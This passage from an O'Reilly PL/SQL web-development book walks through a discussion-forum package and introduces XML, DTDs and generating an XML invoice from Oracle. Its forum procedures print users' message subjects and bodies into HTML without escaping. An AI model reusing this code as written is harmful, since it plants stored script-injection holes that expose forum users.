In addition to implementing the procedures listed in the specification, the body of the FORUM package contains a private procedure called print_thread_links. Even though it can't be called directly from the Web, this procedure is used in all of FORUM's public procedures. Consequently, we'll begin by examining this private procedure, even though it's not declared in the specification.

8.3.6.2.1 The print_thread_links procedure.

This procedure calls itself recursively to produce the indented list of hyperlinked subject headers illustrated in Figure 8.8. Clicking on one of these links displays the full body of the original message.

The procedure accepts two parameters. The first, i_thread_id, is the primary key (as defined in MESSAGES) for the root of the thread. The second parameter, i_expand_flag, is used to make the procedure expand the child elements under the root thread. If the flag is "Y," then the procedure will call itself again, this time using the ID of the child message as the new root thread. Here's the code:

PROCEDURE print_thread_links (
   i_thread_id IN VARCHAR2,
   i_expand_thread IN VARCHAR2 DEFAULT 'N'
   )
IS

   CURSOR t_cur
   IS
      SELECT *
        FROM messages
       WHERE msg_parent = i_thread_id
       ORDER BY date_created;

   t_rec t_cur%ROWTYPE;
   link VARCHAR2(500);

BEGIN
   HTP.print ('<h4>');
   HTP.print ('<ol>');   -- Start a new ordered list
   OPEN t_cur;
   LOOP
      FETCH t_cur INTO t_rec;
      EXIT WHEN t_cur%notfound;
      HTP.print ('<li>');
      link := 'forum.view_message?i_thread_id=' || t_rec.msg_id;
      HTP.anchor (link, t_rec.msg_subject);
      HTP.italic ('(' ||
                  t_rec.msg_author ||
                  ',' ||
                  t_rec.date_created ||
                  ')');
      HTP.print ('</li>');
      -- Recursively print the children if necessary
      IF i_expand_thread = 'Y'
      THEN
         print_thread_links (t_rec.msg_id, 'Y');
      END IF;
   END LOOP;
   HTP.print ('</ol>');  -- End the ordered list
   HTP.print ('</h4>');
   CLOSE t_cur;
END;

8.3.6.2.2 The current_ forum_list procedure.

This procedure generates the list of available forums that serves as the main entry point of the forum system. From here, the user selects the forum topic that he or she would like to discuss.

If you'll recall from the Section 8.2.2, "Data Model"" section, we defined a forum (as opposed to normal posts) as rows in the MESSAGES table where the parent column equals 0. current_forum_list works by passing the print_thread_links a value of for the root thread and a value of `N' for the expand flag, as shown in this example:

PROCEDURE current_forum_list
IS
   link VARCHAR2(200);
BEGIN
   HTP.print ('<body bgcolor=white>');
   HTP.print ('<h1>Forums</h1><br>');
   link := 'forum.create_msg_form?i_parent_msg=0';
   HTP.anchor (link, 'Create a new forum');
   HTP.print ('<hr>');
   -- Print the threads, but do not recurse
   print_thread_links (0, 'N');
END;

Figure 8.13 shows the output of the procedure.

Figure 8.13: The available forum list

8.3.6.2.3 The view_message procedure.

This procedure prints the full text of a message, a link that allows the user to post a response, and the threaded list of previous responses:

PROCEDURE view_message (
   i_thread_id IN VARCHAR2 DEFAULT NULL,
   i_hierarchy_flag IN VARCHAR2 DEFAULT NULL
   )
IS

   m_rec messages%ROWTYPE;
   msg_found BOOLEAN;
   link VARCHAR2(500);
BEGIN
   SELECT *
     INTO m_rec
     FROM messages
    WHERE msg_id = i_thread_id
    ORDER BY date_created;
   HTP.print ('<body bgcolor=white>');
   HTP.print ('<h2>' || m_rec.msg_subject || '</h2>');
   HTP.print ('<i>Posted by ' || m_rec.msg_author);
   HTP.print (' on ' || m_rec.date_created || '</i><p>');
   HTP.print ('<h2>Message:</h2><p>' || m_rec.msg_body || '<p>');
   link := 'forum.create_msg_form?i_parent_msg=' || i_thread_id;
   HTP.anchor (link, 'Respond');
   HTP.print ('<h2>Previous Responses:</h2><p>');
   print_thread_links (i_thread_id, 'Y');
   HTP.print ('<p>');
   IF m_rec.msg_parent != 0
   THEN
      link :=
         'forum.view_message?i_thread_id=' || m_rec.msg_parent;
      HTP.anchor (link, 'Previous Message');
   END IF;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      HTP.print ('<h1>Message Not Found!</h1>');
END;

8.3.6.2.4 The create_msg_form procedure.

This procedure creates an HTML form used to respond to a message. Before displaying the form, the procedure first confirms that the user is logged in. If not, the procedure calls FORUM_USERS.login_form to force the user to log on. Here's the code:

PROCEDURE create_msg_form (
   i_parent_msg IN VARCHAR2 DEFAULT NULL
   )
IS
BEGIN
   -- Only allow users that are logged in to post
   IF forum_users.get_current_user IS NULL
   THEN
      forum_users.login_form (
         NULL,
         'You must login to post a message'
      );
   ELSE
      -- Print message form
      HTP.print ('<body bgcolor=white>');
      -- Print a header; a msg_id of zero indicates a forum topic
      IF i_parent_msg = 0
      THEN
         HTP.print ('<h1>Create Forum Topic</h1><hr>');
      ELSE
         HTP.print ('<h1>Post response</h1><hr>');
      END IF;
      HTP.print ('<form action=forum.save_message method=POST>');
      HTP.print ('<table>');
      HTP.formhidden (
         cname => 'i_parent_msg',
         cvalue => i_parent_msg
      );
      general_form.print_input_row ('Subject', 'i_subject');
      general_form.print_textarea_row (
         'Body',
         'i_msg_body',
         80,
         10
      );
      HTP.print ('</table>');
      HTP.formsubmit;
      HTP.print ('</form>');
   END IF;
END;

Figure 8.14 shows the output of the procedure.

Figure 8.14: Posting a response to a message

8.3.6.2.5 The save_message procedure.

This final procedure inserts the user's posts into the MESSAGES table. Like create_msg_form, the procedure first checks to make sure that the user is logged in.[3] Otherwise, people would be able to easily forge messages from other users, which can lead to big trouble. If the user checks out, the procedure inserts the record and redisplays the updated message list. If not, the exception section traps the error and prints a message. Here's the code for this procedure:

[3] Despite our best efforts, users are still free to jump into the application at any point simply by entering the URL into the browser's "Navigation" box. The cookie simply allows us to determine if the user has logged in.

PROCEDURE save_message (
   i_parent_msg IN VARCHAR2 DEFAULT NULL,
   i_subject IN VARCHAR2 DEFAULT NULL,
   i_msg_body IN VARCHAR2 DEFAULT NULL
   )
IS

   author members.username%TYPE
      := forum_users.get_current_user;

BEGIN
   -- Only allow users that are logged in to post
   IF forum_users.get_current_user IS NULL
   THEN
      forum_users.login_form (
         NULL,
         'You must login to post a message'
      );
   ELSE
      -- Save message
      INSERT INTO messages (
         msg_id,
         msg_parent,
         msg_author,
         msg_subject,
         msg_body
         )
           VALUES (
              message_seq.nextval,
              i_parent_msg,
              author,
              i_subject,
              i_msg_body
           );
      COMMIT;
      -- Now return to the original message to display the new post
      IF i_parent_msg = 0
      THEN
         current_forum_list;
      ELSE
         view_message (i_parent_msg);
      END IF;
   END IF;
EXCEPTION
   WHEN OTHERS
   THEN
      HTP.print ('<body bgcolor=white>');
      HTP.print ('<b>An error has occurred<p>');
END;

8.3.7 Security Privileges

We'll follow the same steps we used in the survey example to make the discussion list available on the Web. Since we have two packages, though, we'll have to use two sets of grants:

  1. Log in to disc_list using SQL*Plus.

  2. Grant the EXECUTE privilege on FORUM to the agent account (WEBTEST).

  3. Grant the EXECUTE privilege on FORUM_USERS to the agent account (WEBTEST).

  4. Connect to the agent account (WEBTEST).

  5. Create a synonym named FORUM for disc_list.forum.

  6. Create a synonym named FORUM_USERS for disc_list.forum_users.

Figure 8.15 shows how these commands are used in SQL*Plus.

Figure 8.15: Using SQL*Plus to grant privileges to the PL/SQL agent

8.3.8 What Next?

The FORUM package is the most complex example we'll look at in this book. It illustrates how to break complex systems into multiple packages, how to create reasonably complex navigation schemes, and how to use cookies to save state information. If you have understood this example, you're well on the way to being able to write almost any PL/SQL-and-HTML-based system.

Previous: 8.2 Example 1: An Anonymous Survey | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 9. XML
8.2 Example 1: An Anonymous Survey | Book Index | 9. XML
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] XML

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: 8.3 Example 2: A Discussion Forum Chapter 9 Next: 9.2 XML Syntax

9. XML

Contents:
Motivations for XML
XML Syntax
The Document Type Definition (DTD)
The XML Parser
Example: Generating an XML Invoice from Oracle
PLSXML Utilities and Demos
XML and iFS

Extensible Markup Language (XML) is an emerging standard closely related to Standardized General Markup Language (SGML), the granddaddy of all markup languages, which was designed by the U.S. government to create complex documents. Realizing that SGML was simply too complicated for his purposes, Tim Berners-Lee (the inventor of the Web) used SGML to create HTML, and the rest is history.

Now that the Web has matured, however, developers are starting to miss some of SGML's capabilities. XML is an attempt to find a middle ground between the complexities of SGML and the ease of use of HTML. Like HTML, XML employs a tag-based syntax to mark up ASCII text. Unlike HTML, which controls the appearance of a document, XML describes the meaning and structure of a document by defining a syntax and grammar for creating new tags. XML is extensible because it lets you define your own tag vocabulary (as long as it follows the rules of the XML specification) for creating meaningful documents.

Although it's currently being touted as "HTML done right," XML is actually a lot more. It has a number of potential uses as a tool for integrating disparate systems and building electronic commerce systems. The XML specification provides an open framework for exchanging complex, structured documents (such as purchase orders, invoices, insurance claims, etc.) among different computer systems. In one fell swoop, XML eliminates network dependencies such as TCP/IP or IPX, protocol dependencies such as SQL*Net or ODBC, hardware dependencies such as Intel or Alpha, operating system dependencies such as Windows NT or Unix, and even database dependencies such as Oracle or SQL Server. In fact, the implications of XML are so profound that it even threatens the Fort Knox of the database world -- delimited flat files!

While you might expect XML to be enormously complicated, it's really just a formal implementation of a wonderfully simple idea: that the structure and meaning of a document's contents should be indicated inside, not outside, the text of the document itself. An example can help make this idea clear. Suppose you receive the following comma-delimited file:

876514234,05/21/1999, Megaplex Industries
PN-5324,Super Duper Widget,5,19.99
PN-6354,Not So Super Duper Widget,2,9.99
119.93

While it's clear that this file contains some sort of structured information, we have no way to tell exactly what it might be; about all we know for certain is that the first line might contain a date. This is the problem with delimited files. Until you have the file's columnar layout, its secret decoder ring, you can't do anything meaningful with it.

Now suppose you receive the same information in XML format:

<?xml version="1.0"?>
<!DOCTYPE INVOICE SYSTEM "invoice.dtd">
<INVOICE>
   <INVOICE_NUMBER>876514234</INVOICE_NUMBER>
   <DATE>05/21/1999</DATE>
   <CUSTOMER>Megaplex Industries</CUSTOMER>
   <INVOICE_ITEMS>
      <ITEM>
         <ITEM_NAME ITEM_NUM="PN-5342">Super Duper Widget</ITEM_NAME>
         <QUANTITY>5</QUANTITY>
         <PRICE>19.99</PRICE>
      </ITEM>
      <ITEM>
         <ITEM_NAME ITEM_NUM="PN-6354">Not So Super Duper Widget</ITEM_NAME>
         <QUANTITY>2</QUANTITY>
         <PRICE>9.99</PRICE>
      </ITEM>
   </INVOICE_ITEMS>
   <TOTAL>119.93</TOTAL>
</INVOICE>

The XML version leaves no doubt about the file's purpose or structure: it's an invoice consisting of two items. Knowing this, we can deduce the structure of the original file. The first line contains basic information, such as the invoice number, the invoice date, the invoice total, and the customer to whom it is being sent. The next two lines are invoice items, and consist of a part number, a name, an order quantity, and a unit cost. The last line is the invoice total.

The difference between the first file and the second is that the XML file contains a decoder ring within its own text, making the meaning of each element in the document explicitly clear. While XML certainly doesn't eliminate the need for comma-delimited files (for example, they will always be useful for loading data in bulk), the previous example shows how it could be used in an electronic commerce setting to exchange invoice data. XML, combined with encryption and digital signature technologies,[1] offers a reasonably straightforward way for businesses to exchange information simply and securely.

[1] A digital signature computes an encrypted checksum (also called a hash function) for a document that guarantees the document's integrity and authenticity. Integrity means that no one has tampered with the file, and authenticity means the file is actually from the person who says he or she sent it. Phil Zimmerman's Pretty Good Privacy (PGP) is a widely available and popular encryption system that can produce a digital signature.

NOTE: Of course, to take advantage of XML's full potential, everyone must adopt a standard set of domain-specific tags and nomenclature. Although this is probably a greater challenge than XML's technical aspects (since it requires people to agree on something!), several industries' experiences with SGML give some hope, at least, that this can happen. Companies in the semiconductor industry (Intel, Hitachi, Texas Instruments, etc.) have adopted an SGML standard for exchanging chip data.

This chapter will help you get your feet wet with XML by showing you how to generate XML documents using WebDB or OAS. We'll start with a brief discussion of the motivations behind XML, then move on to the major skills you'll need to generate XML from the Oracle database: creating syntactically correct XML documents and formally defining rules that they must follow. From there, we'll cover how a program called an XML parser is used to check the structure of the document and, if it's valid, break it into a hierarchical structure called a document tree. After that, we'll write a PL/SQL program to generate the invoice we looked at earlier. Finally, we'll examine the future directions of XML and how it relates to Oracle8i 's Internet File System.

9.1 Motivations for XML

You probably noticed that the invoice example looks remarkably similar to a standard HTML document, except that there are a lot of new tags. These similarities are intentional. The XML specification was created in response to the evolution (some would say devolution) of HTML.

HTML started as a simple way to define the structure of a document. The <head> and <body> tags separate descriptive information from the main text. The header tags (<h1>, <h2>, etc.) break the text into logical sections, much like the A and B headings in an outline. The emphasis tag <em> denotes particularly important information.

As the Web has evolved, however, the original intent of these tags has been lost. They are now used to control a document's appearance, rather than its structure. Browser vendors have exacerbated this trend by adding new tags explicitly for formatting. Some of these tags have been good (<table>), some not so good (<blink>), but the net effect is that HTML no longer has much to say about the purpose of the information it presents.

While this trend is not particularly important for many applications, such as creating attractive user interfaces for our PL/SQL systems, there are several reasons why it has been a change for the worse:

  • HTML is no longer simple.

  • HTML designers place more emphasis on a document's appearance than on its content.

  • HTML documents are very difficult for computers to understand.

The last of these problems is probably one of the most important motivations for XML. As the Web becomes increasingly automated, it has become more and more important that software "robots" understand and interpret a variety of documents. If we're ever going to make a search engine smart enough so that the query "Where can I buy a leather attach� case?" doesn't turn up links to an S&M site, we must create online catalogs a computer can easily parse and understand. HTML is simply not designed to provide this type of information. XML is.

Previous: 8.3 Example 2: A Discussion Forum | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 9.2 XML Syntax
8.3 Example 2: A Discussion Forum | Book Index | 9.2 XML Syntax
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.2 XML Syntax

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

9.2 XML Syntax

XML achieves its flexibility by allowing you to extend a base markup language (the XML specification itself) with tags of your own design. You create tags to structure the text within a document so that its underlying meaning is clearly presented. For example, to denote an item on an invoice, you could use an <ITEM> tag.

While XML and HTML documents look a lot alike, there are several important syntactical differences. HTML is fairly flexible. You can omit end tags from many of an HTML document's most important structures, such as list items, and most browsers will happily display the document as best they can. XML documents, however, must meet a more rigid set of requirements:

  • A document must begin with a line that identifies it as XML. It must also include the XML specification with which it complies. Since XML is a brand-new standard, this line is currently <?xml version="1.0"?>.[2]

    [2] The line can also include additional metadata that I've omitted for purposes of simplicity.

  • Tags are case sensitive. For example, <INVOICE_NUMBER> and <invoice_number> are not the same. In general, the convention is to always use uppercase.

  • All attribute values must appear in quotes, as in <CUSTOMER CUST_ID="12345">.

  • A start tag must always have a corresponding end tag. The combination of a start tag (plus any attributes), an end tag, and any intervening text is called an element.

  • Elements cannot overlap. For example, the following set of markups is illegal: <INVOICE_ITEM><PART_NUM>PN-1234</INVOICE_ITEM></PART_NUM>.

  • "Empty" tags that don't mark up any text, like HTML's <p> or <br>) must have corresponding end tags. For example, if you want to use a <PAID_IN_FULL> tag to indicate that an invoice has been paid, you must end with a </PAID_IN_FULL> tag, even though there is no text in between. XML also has an alternative notation for empty tags that lets you simply append a "/" to the end of the start tag (for example, <PAID_IN_FULL/>).

A document that follows all these rules is called well-formed, which means that it is syntactically correct. Even more so than with HTML, XML requires a precise syntax to make sure the documents follow a predictable structure. Fortunately, there are several commercially available tools that help you create well-formed XML documents. Figure 9.1 shows Vervet Logic's XML Pro (http://www.vervet.com).

Figure 9.1: XML Pro by Vervet Logic

In the next section we'll look at how you can define strict rules the tags in your documents must follow.

Previous: 9.1 Motivations for XML | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 9.3 The Document Type Definition (DTD)
9.1 Motivations for XML | Book Index | 9.3 The Document Type Definition (DTD)
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.3 The Document Type Definition (DTD)

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

9.3 The Document Type Definition (DTD)

If we're going to use XML to exchange documents electronically, we must be able to judge whether a document meets a certain set of necessary requirements. For example, an electronic invoice must, at minimum, include an invoice number, a date, and at least one item. Our systems should be smart enough to reject an invoice if it doesn't contain the required information. Additionally, we should be able to create these requirements ourselves.

You can associate a document type definition (DTD) with an XML document to enforce these sorts of rules. You can either create a DTD or use one that already exists. A major goal of XML is to encourage various groups (industry, community, academic, etc.) to form standards bodies to define collective DTDs. Eventually, these DTDs will form the basis for a variety of electronic data exchange systems.

A DTD is a lot like a database schema.[3] Just as you would define the columns in a database table, you can use a DTD to define the name and datatype of every element that can appear in an XML document. Just as you define a column constraint, you can require that particular elements appear within the document. Just as you would normalize a set of database tables into one-to-many or one-to-one relationships, you can create the same relationships by defining how the elements can be hierarchically nested.

[3] Oracle Corporation is an active participant in the World Wide Web Consortium's (W3C) "XML Schema" working group. The W3C oversees the development of almost all the major Internet standards.

Let's revisit the invoice example from the beginning of this chapter. If we were to simply model a basic invoice using an entity relationship diagram (ERD), we might wind up with something like Figure 9.2.

Figure 9.2: An ERD for a simple invoice

We can use this diagram as a guide to constructing a corresponding DTD. For clarity, though, we'll start with the finished DTD and work backwards:

<!ELEMENT INVOICE (INVOICE_NUMBER, DATE, CUSTOMER+,INVOICE_ITEMS,TOTAL?)>
   <!ELEMENT INVOICE_NUMBER (#PCDATA)>
   <!ELEMENT DATE (#PCDATA)>
   <!ELEMENT CUSTOMER (#PCDATA)>
   <!ELEMENT INVOICE_ITEMS (ITEM+)>
      <!ELEMENT ITEM (ITEM_NAME, QUANTITY, PRICE)>
         <!ELEMENT ITEM_NAME (#PCDATA)>
         <!ATTLIST ITEM_NAME
            ITEM_NUM CDATA #REQUIRED>
      <!ELEMENT QUANTITY (#PCDATA)>
      <!ELEMENT PRICE (#PCDATA)>
   <!ELEMENT TOTAL (#PCDATA)>

As you can see from the example, the majority of the DTD consists of instructions to define the elements that can appear within an invoice. The first line defines the root element, INVOICE, the highest element in the nesting tree, as well as the names of all the elements that INVOICE can contain. A single character that indicates how often the element can appear follows each element declaration. Table 9.1 summarizes the function of each character.

Table 9.1: Characters Used to Define Element Occurrences
Character | Translation | Rough Database Equivalent
Blank | Element must appear exactly once. | Non-NULL column constraint
? | Element can appear 0 or 1 times. | Constraint/one-to-one relationship
* | Element can appear 0 or more times. | Constraint/one-to-many relationship
+ | Element can appear 1 or more times. | Constraint/one-to-many relationship

As we can see from the preceding code example, the INVOICE must include an INVOICE_NUMBER, an invoice DATE, at least one CUSTOMER (the + character leaves open our double-billing options), and an INVOICE_ITEMS section. Finally, it can include an optional invoice TOTAL (why should you have to do all the work?).

Declarations for each of these elements follow the root declaration. The first four items are the simplest declaration, and consist of a name and a datatype. XML datatypes are much more limited than the standard NUMBER, VARCHAR2, and RAW types used to define table columns. The datatype used here (PCDATA) tells the XML parser that the element consists of formatted text.

The next declaration, INVOICE_ITEMS, is an example of a nested element (notice how similar it is to the declaration for the root element.) The INVOICE_ITEMS section must contain at least one ITEM, which is itself a nested structure consisting of an ITEM_NAME, a QUANTITY, and a PRICE. As a final wrinkle, the ATTLIST command is used to further refine the <ITEM_NAME> tag by defining a tag attribute called ITEM_NUM.

That's it -- we've defined everything we need for our simple example: the name of each element, the number of times each element can appear, and the allowable nesting arrangements they can follow. All that remains now is to make sure our XML documents are valid, which means that they are both well-formed and comply with the associated DTD. This is the job of the XML parser.

Previous: 9.2 XML Syntax | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 9.4 The XML Parser
9.2 XML Syntax | Book Index | 9.4 The XML Parser
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.4 The XML Parser

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

9.4 The XML Parser

The XML parser is responsible for reading an XML document and making sure it complies with the necessary rules. There are two kinds of parsers: non-validating and validating. The non-validating parser is the simpler of the two, and simply checks to see if a document is well-formed. The more complex validating parser will not only check for well-formedness, but also for validity (i.e., that the document actually follows all the rules laid out in an associated DTD).

If the document passes these tests, then the parser breaks it into a structure called a document tree. As the name implies, a document tree is simply a hierarchical data structure created from the nested elements in the document. The left-hand side of Figure 9.1 illustrates a typical document tree.

Once the document is parsed and loaded, you can use a wide variety of languages (such as Java, JavaScript, etc.) to write programs that use the Document Object Model (DOM) API to traverse and manipulate the information in the tree. For example, you could write a JavaScript program to build a hierarchical view of an XML invoice by programmatically expanding and collapsing the tree's branches. This sort of client-side manipulation is very fast because it acts on information stored in memory, rather than having to requery the server each time a user requests a new view of the same information.

In the next two sections, we'll see how you can generate XML documents from information stored in the Oracle database. In the first, we'll develop a package to build an XML invoice. In the second, we'll look at a set of experimental packages that you can use to build a variety of XML applications.

Previous: 9.3 The Document Type Definition (DTD) | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 9.5 Example: Generating an XML Invoice from Oracle
9.3 The Document Type Definition (DTD) | Book Index | 9.5 Example: Generating an XML Invoice from Oracle
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.5 Example: Generating an XML Invoice from Oracle

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

9.5 Example: Generating an XML Invoice from Oracle

Like HTML, XML is stored in plain ASCII documents. Consequently, we can use the PL/SQL toolkit to generate almost any XML document. In this section we'll write a package called XML_INVOICE_PKG to generate the XML invoice we've been discussing.

9.5.1 Specification

We'll start, as always, with the package specification. For this particular application, we'll need just one procedure: print_invoice. The procedure will accept the invoice number for a particular invoice and generate the corresponding XML invoice. Here's the code:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PACKAGE xml_invoice_pkg
IS

   PROCEDURE print_invoice (
      i_invoice_number IN VARCHAR2 DEFAULT NULL
   );

END;

9.5.2 Body

The next step is to define the package body, as follows:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PACKAGE BODY xml_invoice_pkg
IS

   -- Include code annotated below

END;

In addition to the print_invoice procedure defined in the specification, we'll need a private function, get_attribute, and two private procedures, print_xml_tags and print_items. The first two items are needed to format the output to the XML specification, since the PL/SQL toolkit doesn't have functions or procedures specifically for XML. The other local procedure fetches the invoice items from the database and prints them to the web browser. Table 9.2 lists the procedures and functions required in the package body.

Table 9.2: XML_INVOICE_PKG Procedures and Functions
Procedure/Function | Parameters | Description
get_attribute | attr_name IN VARCHAR2 attr_val IN VARCHAR2 | Private function that returns a well-formed attribute tag: attr_name = "attr_val".
print_xml_tag | tag_name IN VARCHAR2 tag_value IN VARCHAR2 tag_attr IN VARCHAR2 DEFAULT NULL | Private procedure that prints a well-formed XML tag: <tag_name tag_attr>tag_value</tag_name).
print_items | i_invoice_id IN NUMBER o_invoice_total OUT NUMBER | Private procedure to print the individual items on the invoice. The OUT parameter returns the total dollar value for all items.
print_invoice | i_invoice_number IN VARCHAR2 DEFAULT NULL | Public procedure, called from the Web, that generates the XML invoice.

The get_attribute function accepts an attribute and a value. It formats this information to the XML specification (attr_name = "attr_val") and returns a string. Here's the function:

/*
|| Function to return an attribute tag
*/
FUNCTION get_attribute (
   attr_name IN VARCHAR2,
   attr_val IN VARCHAR2
   )
   RETURN VARCHAR2
IS
BEGIN
   RETURN attr_name || '=' || '"' || attr_val || '"';
END;

The print_xml_tag procedure has a similar purpose. It accepts a tag name, a tag value, and an optional string for tag attributes. The procedure then formats these parameters into a well-formed XML element. The HTP.PRINT procedure sends this element back to the browser. Here's the procedure:

/*
|| Simple wrapper procedure to print a tag
*/
PROCEDURE print_xml_tag (
   tag_name IN VARCHAR2,
   tag_value IN VARCHAR2,
   tag_attr IN VARCHAR2 DEFAULT NULL
   )
IS

   xml_str VARCHAR2(5000);

BEGIN
   IF tag_attr IS NULL
   THEN
      xml_str := '<' || tag_name || '>';
   ELSE
      xml_str := '<' || tag_name || ' ' || tag_attr || ' >';
   END IF;
   xml_str := xml_str || tag_value;
   xml_str := xml_str || '</' || tag_name || '>';
   HTP.print (xml_str);
END;

The last local procedure, print_items, uses the previous function and procedure to generate the <INVOICE_ITEMS> section of the XML invoice. Like the other HTML procedures we've seen, it simply opens a cursor, loops, and prints each row by calling print_xml_tag. In addition, the procedure uses an OUT parameter to keep a running total of the dollar amount of each item. The value is passed back to the caller when the procedure completes. Here's the code:

/*
|| Print the items for the selected invoice. Return
|| the total of the invoice item using an OUT parameter.
*/
PROCEDURE print_items (
   i_invoice_id IN NUMBER,
   o_invoice_total OUT NUMBER
   )
IS

   CURSOR item_cur
   IS
      SELECT p.part_num, p.part_name, i.quantity, i.unit_cost
        FROM xml_invoice_items i, xml_parts p
       WHERE i.part_id = p.part_id
         AND i.invoice_id = i_invoice_id;

   item_rec item_cur%ROWTYPE;

   part_num_attr VARCHAR2(500);

BEGIN
   o_invoice_total := 0;
   OPEN item_cur;
   HTP.print ('<INVOICE_ITEMS>');
   LOOP
      FETCH item_cur INTO item_rec;
      EXIT WHEN item_cur%notfound;
      -- Accumulate costs
      o_invoice_total :=
         o_invoice_total +
         item_rec.quantity * item_rec.unit_cost;
      -- Generate XML tags
      HTP.print ('<ITEM>');
      part_num_attr :=
         get_attribute ('ITEM_NUM', item_rec.part_num);
      print_xml_tag (
         'ITEM_NAME',
         item_rec.part_name,
         part_num_attr
      );
      print_xml_tag ('QUANTITY', item_rec.quantity);
      print_xml_tag ('PRICE', item_rec.unit_cost);
      HTP.print ('</ITEM>');
   END LOOP;
   CLOSE item_cur;
   HTP.print ('</INVOICE_ITEMS>');
END;

The main public procedure, print_invoice, uses the local procedure to actually create the invoice. Here is the implementation:

/*
|| Main procedure to print the invoice.
*/
PROCEDURE print_invoice (
   i_invoice_number IN VARCHAR2 DEFAULT NULL
   )
IS

   CURSOR inv_cur
   IS
      SELECT i.invoice_id, i.invoice_date, c.customer_name
        FROM xml_invoice i, xml_customers c
       WHERE i.customer_id = c.customer_id
         AND i.invoice_number = i_invoice_number;

   inv_rec inv_cur%ROWTYPE;

   inv_total NUMBER DEFAULT 0;

BEGIN
   -- Set MIME type to XML
   OWA_UTIL.mime_header('text/xml', TRUE);
   inv_total := 0;
   OPEN inv_cur;
   HTP.print ('<?xml version="1.0"?>');
   -- Note: the DTD is defined in a file stored on server
   -- The URL has been omitted for space
   HTP.print ('<!DOCTYPE INVOICE SYSTEM "invoice.dtd">');
   HTP.print ('<INVOICE>');
   FETCH inv_cur INTO inv_rec;
   IF NOT inv_cur%notfound
   THEN
      print_xml_tag ('INVOICE_NUMBER', i_invoice_number);
      print_xml_tag ('DATE', inv_rec.invoice_date);
      print_xml_tag ('CUSTOMER', inv_rec.customer_name);
      print_items (inv_rec.invoice_id, inv_total);
      print_xml_tag ('TOTAL', inv_total);
   END IF;
   CLOSE inv_cur;
   HTP.print ('</INVOICE>');
END;

Figure 9.3 shows the XML output of the procedure.

NOTE: You must use an XML-compliant browser such as Microsoft Internet Explorer version 5 to view XML documents.

Figure 9.3: Output of XML_INVOICE_PKG.print_invoice

The XML_INVOICE_PKG is a very simple example of how to link XML and Oracle. In the next section, we'll look at a set of packages that really illustrate XML's potential.

Previous: 9.4 The XML Parser | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 9.6 PLSXML Utilities and Demos
9.4 The XML Parser | Book Index | 9.6 PLSXML Utilities and Demos
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.6 PLSXML Utilities and Demos

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

9.6 PLSXML Utilities and Demos

Steve Muench, Oracle Corporation's "XML evangelist," has developed a very interesting set of PL/SQL packages called the PLSXML utilities and demos. While they are still experimental, they can give you a clear idea of the power of generating XML inside the database. Additionally, there are several examples of how to use JavaScript and XML to create rich interfaces. The PLSXML packages are:

DBXML

Uses dynamic SQL to automatically create XML documents from a SQL query. Based on the same technology as WebDB, DBXML reduces the package we developed earlier to a single procedure call.

DBDOM

A PL/SQL implementation of the Document Object Model (DOM, the model used to create document trees) API that allows you to create, parse, and search XML documents.

DBXSL

Generates formatting instructions called XSL stylesheets that control how the browser renders an XML document.

You can download the PLSXML and its full documentation (it's excellent) from:

http://www.oracle.com/xml/plsxml/index.html

In the next section, we'll look at a product that takes full advantage of XML.

Previous: 9.5 Example: Generating an XML Invoice from Oracle | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 9.7 XML and iFS
9.5 Example: Generating an XML Invoice from Oracle | Book Index | 9.7 XML and iFS
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

